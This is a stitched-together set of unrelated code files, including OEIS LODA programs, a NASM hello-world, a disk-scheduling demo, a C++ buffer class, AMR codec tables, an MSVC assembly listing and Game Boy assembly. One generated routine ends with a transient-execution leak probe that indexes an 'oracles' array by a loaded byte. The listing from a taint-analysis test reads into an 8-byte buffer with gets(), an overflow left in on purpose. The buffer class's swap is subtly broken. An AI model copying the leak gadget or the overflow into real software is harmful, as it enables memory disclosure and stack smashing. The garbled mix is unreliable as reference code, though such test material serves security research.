\x1B[34m4\x1B[0m, " "count:\x1B[32msize_t\x1B[0m: \x1B[34m5\x1B[0m)\n" " data:\x1B[32muint8\x1B[0m: " "\x1B[34m00\x1B[0m, \x1B[34m01\x1B[0m, \x1B[34m02\x1B[0m, \x1B[34m03\x1B[0m, " "\x1B[34m04\x1B[0m, \x1B[34m05\x1B[0m, \x1B[34m06\x1B[0m, \x1B[34m07\x1B[0m, " "\x1B[34m08\x1B[0m, \x1B[34m09\x1B[0m, \x1B[34m0a\x1B[0m, \x1B[34m0b\x1B[0m, " "\x1B[34m0c\x1B[0m, \x1B[34m0d\x1B[0m, \x1B[34m0e\x1B[0m, \x1B[34m0f\x1B[0m, " "\x1B[34m10\x1B[0m, \x1B[34m11\x1B[0m, \x1B[34m12\x1B[0m, \x1B[34m13\x1B[0m\n" " -> \x1B[32mZX_OK\x1B[0m (" "actual:\x1B[32msize_t\x1B[0m: \x1B[34m2\x1B[0m/\x1B[34m5\x1B[0m)\n"); } // namespace fidlcat
; A273768: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 913", based on the 5-celled von Neumann neighborhood. ; 1,5,22,70,151,272,441,666,955,1316,1757,2286,2911,3640,4481,5442,6531,7756,9125,10646,12327,14176,16201,18410,20811,23412,26221,29246,32495,35976,39697,43666,47891,52380,57141,62182,67511,73136,79065,85306,91867,98756,105981,113550,121471,129752,138401,147426,156835,166636,176837,187446,198471,209920,221801,234122,246891,260116,273805,287966,302607,317736,333361,349490,366131,383292,400981,419206,437975,457296,477177,497626,518651,540260,562461,585262,608671,632696,657345,682626,708547,735116,762341,790230,818791,848032,877961,908586,939915,971956,1004717,1038206,1072431,1107400,1143121,1179602,1216851,1254876,1293685,1333286 lpb $0 mov $2,$0 sub $0,1 seq $2,273766 ; Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 913", based on the 5-celled von Neumann neighborhood. add $1,$2 lpe add $1,1 mov $0,$1
sta {c1},x
;Testname=aout; Arguments=-faout -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=aoutb; Arguments=-faoutb -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=as86; Arguments=-fas86 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=elf32; Arguments=-felf32 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ; ; Assembly "Hello, World!" for Linux ; ; Properly defined in <sys/syscall.h> %define SYS_exit 1 %define SYS_write 4 section .text global _start _start: ; gdb doesn't like to stop at the entry point address, so ; we put a nop here for pure convenience nop write_hello: mov edx, hello_len mov ecx, hello .loop: mov eax, SYS_write mov ebx, 1 ; stdout int 80h cmp eax, -4096 ja error add ecx, eax sub edx, eax jnz .loop ok: mov eax, SYS_exit xor ebx, ebx int 80h hlt error: mov eax, SYS_exit mov ebx, 1 ; Error int 80h hlt section .rodata hello: db "Hello, World!", 10 hello_len equ $-hello
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1d48f, %rdx clflush (%rdx) nop nop nop nop nop inc %rsi movw $0x6162, (%rdx) and $8925, %rbx lea addresses_WT_ht+0x53cf, %rsi lea addresses_D_ht+0x1b07f, %rdi nop nop xor %r10, %r10 mov $10, %rcx rep movsq nop dec %rdx lea addresses_D_ht+0x10e93, %rbx nop nop nop nop dec %rcx mov $0x6162636465666768, %r14 movq %r14, (%rbx) nop nop add $27976, %rbx lea addresses_D_ht+0x1c272, %rsi nop add $41698, %rcx movups (%rsi), %xmm1 vpextrq $0, %xmm1, %r10 nop nop nop inc %rdx lea addresses_WC_ht+0xa967, %r14 clflush (%r14) nop nop xor %rbx, %rbx and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rcx nop nop nop nop add %rbx, %rbx lea addresses_WC_ht+0x912f, %rdi nop nop and $60846, %rbx movb $0x61, (%rdi) nop nop nop nop nop cmp $5124, %rbx lea addresses_normal_ht+0x1d21a, %rcx sub %rdi, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm6 movups %xmm6, (%rcx) xor $55400, %rsi lea addresses_UC_ht+0x1c62f, %rsi lea addresses_D_ht+0x16937, %rdi nop nop nop nop and %r10, %r10 mov $79, %rcx rep movsl nop nop nop nop nop dec %rbx lea addresses_normal_ht+0x16f2f, %rbx nop cmp %rsi, %rsi vmovups (%rbx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r14 nop nop nop sub $50201, %r14 lea addresses_normal_ht+0xa72f, %r14 nop sub %rsi, %rsi mov $0x6162636465666768, %r10 movq %r10, (%r14) nop cmp $50814, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %rax push %rbx push %rsi // Load lea addresses_normal+0x1fb8f, %rbx nop nop nop add $62307, %r14 mov (%rbx), %ax nop nop nop add %rax, %rax // Store mov $0x4e36e0000000062f, %r13 nop nop nop nop xor $62728, %rbx movw $0x5152, (%r13) nop nop nop dec %r12 // Store lea addresses_D+0xf337, %rsi nop xor %r11, %r11 mov $0x5152535455565758, %rbx movq %rbx, (%rsi) nop nop xor $28089, %r13 // Store mov $0x36546000000054f, %rsi dec %rax mov $0x5152535455565758, %rbx movq %rbx, %xmm0 vmovntdq %ymm0, (%rsi) nop nop inc %r13 // Store mov $0xe2f, %r12 nop and $1796, %r14 mov $0x5152535455565758, %r13 movq %r13, %xmm0 movups %xmm0, (%r12) nop nop nop nop and %r11, %r11 // Store lea addresses_WT+0x1802f, %r11 nop nop nop nop cmp $44640, %r12 movl $0x51525354, (%r11) nop nop nop nop nop add $45774, %rax // Store lea addresses_PSE+0x1f72f, %r11 xor %rax, %rax movl $0x51525354, (%r11) nop add $27474, %r14 // Load lea addresses_normal+0x7e2f, %rax nop nop nop and %r12, %r12 movb (%rax), %r13b nop nop nop nop cmp %r13, %r13 // Store lea addresses_A+0x11e2f, %r11 dec %r12 movl $0x51525354, (%r11) nop add $18620, %r14 // Load lea addresses_normal+0x985f, %rbx and %rsi, %rsi movb (%rbx), %al nop nop and $61266, %r13 // Store lea addresses_RW+0x108bf, %rbx nop nop nop nop nop cmp %rsi, %rsi mov $0x5152535455565758, %r14 movq %r14, %xmm0 movups %xmm0, (%rbx) nop nop nop nop nop xor %rbx, %rbx // Faulty Load mov $0x4e36e0000000062f, %rsi add %r12, %r12 movups (%rsi), %xmm4 vpextrq $0, %xmm4, %rbx lea oracles, %r14 and $0xff, %rbx shlq $12, %rbx mov (%r14,%rbx,1), %rbx pop %rsi pop %rbx pop %rax pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_normal', 'congruent': 5}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_NC', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_P', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_PSE', 'congruent': 8}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 11}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 11}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 4}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 4}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 8}, 'OP': 'STOR'} {'52': 3} 52 52 52 */
; A053369: Linear recursion with Catalan numbers. ; Submitted by Jamie Morken(s2) ; 2,9,32,115,420,1554,5808,21879,82940,316030,1209312,4644094,17889032,69089700,267444000,1037348415,4030774380,15687019590,61137753600,238580530650,932105099640,3645473785980,14271279927840,55918717024950,219283705045080,860564513057004,3379592965275968,13280908224956764,52222094446571280,205459654413530440,808777138443568448,3185275292590693071,12550698662212892748,49474318386052644630,195106570115935383360,769722517242103411714,3037788790008555186968,11993159928726274757004 mov $2,$0 seq $0,782 ; a(n) = 2*Catalan(n) - Catalan(n-1). add $2,2 mul $0,$2
#include <bits/stdc++.h> using namespace std; int size = 8; int disk_size = 200; // Function to perform C-LOOK on the request // array starting from the given head void CLOOK(int arr[], int head) { int seek_count = 0; int distance, cur_track; vector<int> left, right; vector<int> seek_sequence; // Tracks on the left of the // head will be serviced when // once the head comes back // to the beginning (left end) for (int i = 0; i < size; i++) { if (arr[i] < head) left.push_back(arr[i]); if (arr[i] > head) right.push_back(arr[i]); } // Sorting left and right vectors std::sort(left.begin(), left.end()); std::sort(right.begin(), right.end()); // First service the requests // on the right side of the // head for (int i = 0; i < int(right.size()); i++) { cur_track = right[i]; // Appending current track to seek sequence seek_sequence.push_back(cur_track); // Calculate absolute distance distance = abs(cur_track - head); // Increase the total count seek_count += distance; // Accessed track is now new head head = cur_track; } // Once reached the right end // jump to the last track that // is needed to be serviced in // left direction seek_count += abs(head - left[0]); head = left[0]; // Now service the requests again // which are left for (int i = 0; i < int(left.size()); i++) { cur_track = left[i]; // Appending current track to seek sequence seek_sequence.push_back(cur_track); // Calculate absolute distance distance = abs(cur_track - head); // Increase the total count seek_count += distance; // Accessed track is now the new head head = cur_track; } cout << "Total number of seek operations = " << seek_count << endl; cout << "Seek Sequence is" << endl; for (int i = 0; i < int(seek_sequence.size()); i++) { cout << seek_sequence[i] << endl; } } // Driver code int main() { // Request array int arr[size] = { 176, 79, 34, 60, 92, 11, 41, 114 }; int head = 50; cout << "Initial position of head: " << head << endl; CLOOK(arr, head); return 0; }
#include "SafeBuffer.h" #include <exception> #include <iostream> safebuffer::safebuffer(unsigned long bufflen /*= DEFAULT_BUFFER_LEN*/) : m_pbuffer(nullptr) , m_bufferlen(bufflen) , m_datalen(0) , m_offset(0) { m_pbuffer = (char *)malloc(bufflen); assert(m_pbuffer != nullptr); memset(m_pbuffer, 0x00, bufflen); } safebuffer::safebuffer(safebuffer &other) { m_pbuffer = nullptr; m_pbuffer = (char *)malloc(other.m_bufferlen); assert(m_pbuffer != nullptr); memset(m_pbuffer, 0x00, other.m_bufferlen); memcpy(m_pbuffer, other.m_pbuffer, other.m_datalen); m_bufferlen = other.m_bufferlen; m_datalen = other.m_datalen; } safebuffer::safebuffer(char* pMem, unsigned long len) : m_pbuffer(nullptr) { m_bufferlen = (len / DEFAULT_BUFFER_LEN + 1) * DEFAULT_BUFFER_LEN; m_pbuffer = (char *)malloc(m_bufferlen); assert(m_pbuffer != nullptr); memset(m_pbuffer, 0x00, m_bufferlen); memcpy(m_pbuffer, pMem, len); m_datalen = len; } safebuffer::~safebuffer() { if (m_pbuffer != nullptr) { free(m_pbuffer); m_pbuffer = nullptr; } } safebuffer & safebuffer::operator=(safebuffer &other) { if (other.m_pbuffer != m_pbuffer) { //no memory to use if (m_pbuffer == nullptr) { m_pbuffer = (char *)malloc(other.m_bufferlen); assert(m_pbuffer != nullptr); m_datalen = 0; m_bufferlen = other.m_bufferlen; } // has memory and data else if (m_datalen != 0) { ClearMem(); m_datalen = 0; } readmem(other.GetMemory(), other.getDataLength()); } return *this; } unsigned long safebuffer::getMemLength() { return m_bufferlen; } char* safebuffer::GetMemory() { return m_pbuffer; } unsigned long safebuffer::getDataLength() { return m_datalen; } void safebuffer::ClearMem() { memset(m_pbuffer, 0x00, m_datalen); m_datalen = 0; m_offset = 0; } bool safebuffer::readmem(char *pMem, unsigned long len) { // no memory to use if (m_pbuffer == nullptr) { // set datelen and bufferlen to 0 m_datalen = 0; m_bufferlen = 0; // offset must be 0 m_bufferlen = (len / DEFAULT_BUFFER_LEN + 1) * DEFAULT_BUFFER_LEN; //allocate memory m_pbuffer = (char *)malloc(m_bufferlen); assert(m_pbuffer != nullptr); memset(m_pbuffer, 0x00, m_bufferlen); } if (len >= m_bufferlen - m_datalen) { unsigned long tempBuflen = m_datalen + (len / DEFAULT_BUFFER_LEN + 1) * DEFAULT_BUFFER_LEN; if (!resize(tempBuflen)) { return false; } } memcpy((char *)((unsigned long)m_pbuffer + m_datalen), pMem, len); m_datalen += len; return true; } safebuffer & safebuffer::swap(safebuffer &other) { char *ptemp = other.m_pbuffer; other.m_pbuffer = m_pbuffer; m_pbuffer = ptemp; unsigned long temp = other.m_bufferlen; other.m_bufferlen = m_bufferlen; m_bufferlen = temp; temp = other.m_datalen; other.m_datalen = m_datalen; m_datalen = other.m_datalen; return *this; } char * safebuffer::GetoffsetMemory(unsigned long offset) { return (char *)((unsigned long)m_pbuffer + offset); } bool safebuffer::resize(unsigned long len) { if (len <= m_bufferlen) { return true; } m_bufferlen = len; m_pbuffer = (char *)realloc(m_pbuffer, m_bufferlen); if (m_pbuffer == nullptr) { m_bufferlen = 0; m_datalen = 0; return false; } memset((char *)((unsigned long)m_pbuffer + m_datalen), 0x00, m_bufferlen - m_datalen); return true; } unsigned long safebuffer::GetCurrentReadOffset() { return m_offset; } void safebuffer::StepOffset(unsigned long step) { m_offset += step; }
; A016316: Expansion of 1/((1-2x)(1-8x)(1-9x)). ; Submitted by Jon Maiga ; 1,19,255,2975,32231,333759,3353335,32976175,319155111,3051352799,28893830615,271497720975,2535105456391,23548956856639,217804673719095,2007154559579375,18439691005140071,168959618797797279,1544655767192730775,14094055488835543375,128383728072328670151,1167751382033430366719,10608145073360656177655,96260366740724177004975,872639789310343781070631,7904130012943703567396959,71540145389698208475771735,647085110692922887369756175,5849556413721418075298725511,52852331063373659389992759999 mov $1,1 mov $3,2 lpb $0 sub $0,1 mul $1,9 mul $3,4 add $3,2 sub $3,$2 add $1,$3 mul $2,2 sub $2,2 mul $3,2 lpe mov $0,$1
/* ------------------------------------------------------------------ * Copyright (C) 1998-2009 PacketVideo * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. * See the License for the specific language governing permissions * and limitations under the License. * ------------------------------------------------------------------- */ /**************************************************************************************** Portions of this file are derived from the following 3GPP standard: 3GPP TS 26.073 ANSI-C code for the Adaptive Multi-Rate (AMR) speech codec Available from http://www.3gpp.org (C) 2004, 3GPP Organizational Partners (ARIB, ATIS, CCSA, ETSI, TTA, TTC) Permission to distribute, modify and use this file under the standard license terms listed above has been obtained from the copyright holder. ****************************************************************************************/ /* ------------------------------------------------------------------------------ Pathname: .audio/gsm-amr/c/src/dec_input_format_tab.c Date: 03/01/2002 ------------------------------------------------------------------------------ REVISION HISTORY Description: Renamed BytesThisFrame to WmfBytesPerFrame, changed its type from 'const short' to 'const int'. Added If2BytesPerFrame table for IF2 input format. Updated copyright year and I/O definition sections, and added reference document for IF2. Description: Renamed WmfBytesPerFrame to WmfDecBytesPerFrame, and If2BytesPerFrame to If2DecBytesPerFrame. Description: Added #ifdef __cplusplus and removed "extern" from table definition. Description: Put "extern" back. Description: ------------------------------------------------------------------------------ INPUT AND OUTPUT DEFINITIONS Inputs: None Outputs: None Returns: None Global Variables Used: None Local Variables Needed: None ------------------------------------------------------------------------------ FUNCTION DESCRIPTION This file contains the tables of the number of data bytes per codec mode in both WMF and IF2 input formats. ------------------------------------------------------------------------------ REQUIREMENTS None ------------------------------------------------------------------------------ REFERENCES [1] AMR Speech Codec Frame Structure, 3GPP TS 26.101 version 4.1.0 Release 4, June 2001 ------------------------------------------------------------------------------ PSEUDO-CODE ------------------------------------------------------------------------------ RESOURCES USED When the code is written for a specific target processor the the resources used should be documented below. STACK USAGE: [stack count for this module] + [variable to represent stack usage for each subroutine called] where: [stack usage variable] = stack usage for [subroutine name] (see [filename].ext) DATA MEMORY USED: x words PROGRAM MEMORY USED: x words CLOCK CYCLES: [cycle count equation for this module] + [variable used to represent cycle count for each subroutine called] where: [cycle count variable] = cycle count for [subroutine name] (see [filename].ext) ------------------------------------------------------------------------------ */ /*---------------------------------------------------------------------------- ; INCLUDES ----------------------------------------------------------------------------*/ #include "typedef.h" #include "amrdecode.h" /*--------------------------------------------------------------------------*/ #ifdef __cplusplus extern "C" { #endif /*---------------------------------------------------------------------------- ; MACROS ; Define module specific macros here ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; DEFINES ; Include all pre-processor statements here. Include conditional ; compile variables also. ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; LOCAL FUNCTION DEFINITIONS ; Function Prototype declaration ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; LOCAL STORE/BUFFER/POINTER DEFINITIONS ; Variable declaration - defined here and used outside this module ----------------------------------------------------------------------------*/ /* Table containing the number of core AMR data bytes for */ /* each codec mode for WMF input format(number excludes frame type byte) */ const Word16 WmfDecBytesPerFrame[16] = { 12, /* 4.75 */ 13, /* 5.15 */ 15, /* 5.90 */ 17, /* 6.70 */ 19, /* 7.40 */ 20, /* 7.95 */ 26, /* 10.2 */ 31, /* 12.2 */ 5, /* GsmAmr comfort noise */ 6, /* Gsm-Efr comfort noise */ 5, /* IS-641 comfort noise */ 5, /* Pdc-Efr comfort noise */ 0, /* future use */ 0, /* future use */ 0, /* future use */ 0 /* No transmission */ }; /* Table containing the number of core AMR data bytes for */ /* each codec mode for IF2 input format. */ const Word16 If2DecBytesPerFrame[16] = { 13, /* 4.75 */ 14, /* 5.15 */ 16, /* 5.90 */ 18, /* 6.70 */ 19, /* 7.40 */ 21, /* 7.95 */ 26, /* 10.2 */ 31, /* 12.2 */ 6, /* GsmAmr comfort noise */ 6, /* Gsm-Efr comfort noise */ 6, /* IS-641 comfort noise */ 6, /* Pdc-Efr comfort noise */ 0, /* future use */ 0, /* future use */ 0, /* future use */ 1 /* No transmission */ }; /*---------------------------------------------------------------------------- ; EXTERNAL FUNCTION REFERENCES ; Declare functions defined elsewhere and referenced in this module ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; EXTERNAL GLOBAL STORE/BUFFER/POINTER REFERENCES ; Declare variables used in this module but defined elsewhere ----------------------------------------------------------------------------*/ /*--------------------------------------------------------------------------*/ #ifdef __cplusplus } #endif /*---------------------------------------------------------------------------- ; FUNCTION CODE ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; Define all local variables ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; Function body here ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; Return nothing or data or data pointer ----------------------------------------------------------------------------*/
; A313873: Coordination sequence Gal.3.21.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,16,21,26,31,36,42,47,52,57,62,68,73,78,83,88,94,99,104,109,114,120,125,130,135,140,146,151,156,161,166,172,177,182,187,192,198,203,208,213,218,224,229,234,239,244,250,255 mov $1,$0 seq $1,311807 ; Coordination sequence Gal.3.12.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. add $0,$1
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0 include listing.inc INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC __local_stdio_printf_options PUBLIC _vfprintf_l PUBLIC printf PUBLIC func PUBLIC main PUBLIC ??_C@_0N@NJAPOBLP@?$CFf?5?$CFf?5?$CFf?5?$CFs?6?$AA@ ; `string' PUBLIC __real@3ff0000000000000 PUBLIC __real@4000000000000000 PUBLIC __real@4008000000000000 EXTRN __imp___acrt_iob_func:PROC EXTRN __imp___stdio_common_vfprintf:PROC EXTRN gets:PROC EXTRN _fltused:DWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT pdata pdata SEGMENT $pdata$_vfprintf_l DD imagerel $LN4 DD imagerel $LN4+81 DD imagerel $unwind$_vfprintf_l pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$printf DD imagerel $LN4 DD imagerel $LN4+66 DD imagerel $unwind$printf pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$func DD imagerel $LN4 DD imagerel $LN4+110 DD imagerel $unwind$func pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$main DD imagerel $LN4 DD imagerel $LN4+40 DD imagerel $unwind$main pdata ENDS ; COMDAT __real@4008000000000000 CONST SEGMENT __real@4008000000000000 DQ 04008000000000000r ; 3 CONST ENDS ; COMDAT __real@4000000000000000 CONST SEGMENT __real@4000000000000000 DQ 04000000000000000r ; 2 CONST ENDS ; COMDAT __real@3ff0000000000000 CONST SEGMENT __real@3ff0000000000000 DQ 03ff0000000000000r ; 1 CONST ENDS ; COMDAT ??_C@_0N@NJAPOBLP@?$CFf?5?$CFf?5?$CFf?5?$CFs?6?$AA@ CONST SEGMENT ??_C@_0N@NJAPOBLP@?$CFf?5?$CFf?5?$CFf?5?$CFs?6?$AA@ DB '%f %f %f %s', 0aH DB 00H ; `string' CONST ENDS ; COMDAT xdata xdata SEGMENT $unwind$main DD 010401H DD 04204H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$func DD 071b01H DD 03881bH DD 047813H DD 05680bH DD 0c207H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$printf DD 021901H DD 030153219H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$_vfprintf_l DD 081401H DD 0a6414H DD 095414H DD 083414H DD 070105214H xdata ENDS ; Function compile flags: /Ogtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-fparam.c ; COMDAT main _TEXT SEGMENT main PROC ; COMDAT ; 16 : { $LN4: sub rsp, 40 ; 00000028H ; 17 : func(1, 2, 3); movsd xmm2, QWORD PTR __real@4008000000000000 movsd xmm1, QWORD PTR __real@4000000000000000 movsd xmm0, QWORD PTR __real@3ff0000000000000 call func ; 18 : return 0; xor eax, eax ; 19 : } add rsp, 40 ; 00000028H ret 0 main ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-fparam.c ; COMDAT func _TEXT SEGMENT param1$ = 112 param2$ = 120 param3$ = 128 buf$ = 136 func PROC ; COMDAT ; 9 : { $LN4: mov rax, rsp sub rsp, 104 ; 00000068H movaps XMMWORD PTR [rax-24], xmm6 ; 10 : char buf[8]; ; 11 : gets(buf); lea rcx, QWORD PTR [rax+32] movaps XMMWORD PTR [rax-40], xmm7 movaps xmm6, xmm2 movaps XMMWORD PTR [rax-56], xmm8 movaps xmm7, xmm1 movaps xmm8, xmm0 call gets ; 12 : printf("%f %f %f %s\n", param1, param2, param3, buf); movaps xmm3, xmm6 lea rax, QWORD PTR buf$[rsp] movaps xmm2, xmm7 movd r9, xmm3 movaps xmm1, xmm8 movd r8, xmm2 movd rdx, xmm1 lea rcx, OFFSET FLAT:??_C@_0N@NJAPOBLP@?$CFf?5?$CFf?5?$CFf?5?$CFs?6?$AA@ mov QWORD PTR [rsp+32], rax call printf ; 13 : } movaps xmm6, XMMWORD PTR [rsp+80] movaps xmm7, XMMWORD PTR [rsp+64] movaps xmm8, XMMWORD PTR [rsp+48] add rsp, 104 ; 00000068H ret 0 func ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT printf _TEXT SEGMENT _Format$ = 48 printf PROC ; COMDAT ; 950 : { $LN4: mov QWORD PTR [rsp+8], rcx mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+32], r9 push rbx sub rsp, 32 ; 00000020H ; 951 : int _Result; ; 952 : va_list _ArgList; ; 953 : __crt_va_start(_ArgList, _Format); ; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); mov ecx, 1 lea rbx, QWORD PTR _Format$[rsp+8] call QWORD PTR __imp___acrt_iob_func mov rdx, QWORD PTR _Format$[rsp] mov r9, rbx mov rcx, rax xor r8d, r8d call _vfprintf_l ; 955 : __crt_va_end(_ArgList); ; 956 : return _Result; ; 957 : } add rsp, 32 ; 00000020H pop rbx ret 0 printf ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT _vfprintf_l _TEXT SEGMENT _Stream$ = 64 _Format$ = 72 _Locale$ = 80 _ArgList$ = 88 _vfprintf_l PROC ; COMDAT ; 638 : { $LN4: mov QWORD PTR [rsp+8], rbx mov QWORD PTR [rsp+16], rbp mov QWORD PTR [rsp+24], rsi push rdi sub rsp, 48 ; 00000030H mov rbx, r9 mov rdi, r8 mov rsi, rdx mov rbp, rcx ; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); call __local_stdio_printf_options mov r9, rdi mov QWORD PTR [rsp+32], rbx mov r8, rsi mov rdx, rbp mov rcx, QWORD PTR [rax] call QWORD PTR __imp___stdio_common_vfprintf ; 640 : } mov rbx, QWORD PTR [rsp+64] mov rbp, QWORD PTR [rsp+72] mov rsi, QWORD PTR [rsp+80] add rsp, 48 ; 00000030H pop rdi ret 0 _vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h ; COMDAT __local_stdio_printf_options _TEXT SEGMENT __local_stdio_printf_options PROC ; COMDAT ; 74 : static unsigned __int64 _OptionsStorage; ; 75 : return &_OptionsStorage; lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 76 : } ret 0 __local_stdio_printf_options ENDP _TEXT ENDS END
.size 8000 .text@48 ei jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld c, 44 ld b, 90 lbegin_waitly90: ldff a, (c) cmp a, b jrnz lbegin_waitly90 ld a, 11 ldff(40), a ld hl, 8000 ld b, 08 lbegin_settile0data: ld a, 00 ld(hl++), a ld a, 7e ld(hl++), a dec b jrnz lbegin_settile0data ld b, 08 lbegin_settile1data: ld a, 00 ld(hl++), a ld a, 81 ld(hl++), a dec b jrnz lbegin_settile1data ld b, 08 lbegin_settile2data: ld a, ff ld(hl++), a ld a, 81 ld(hl++), a dec b jrnz lbegin_settile2data ld b, 08 lbegin_settile3data: ld a, ff ld(hl++), a ld a, 7e ld(hl++), a dec b jrnz lbegin_settile3data ld c, 12 ld hl, 9800 lbegin_set_bgmap: ld b, 06 ld a, 02 lbegin_set_bgmapline_tilenos0to11: ld(hl++), a inc a ld(hl++), a dec a dec b jrnz lbegin_set_bgmapline_tilenos0to11 ld b, 0a lbegin_set_bgmapline_tilenos12to31: xor a, a ld(hl++), a inc a ld(hl++), a dec b jrnz lbegin_set_bgmapline_tilenos12to31 dec c jrnz lbegin_set_bgmap ld a, 27 ldff(47), a ld a, 80 ldff(68), a ld c, 69 xor a, a 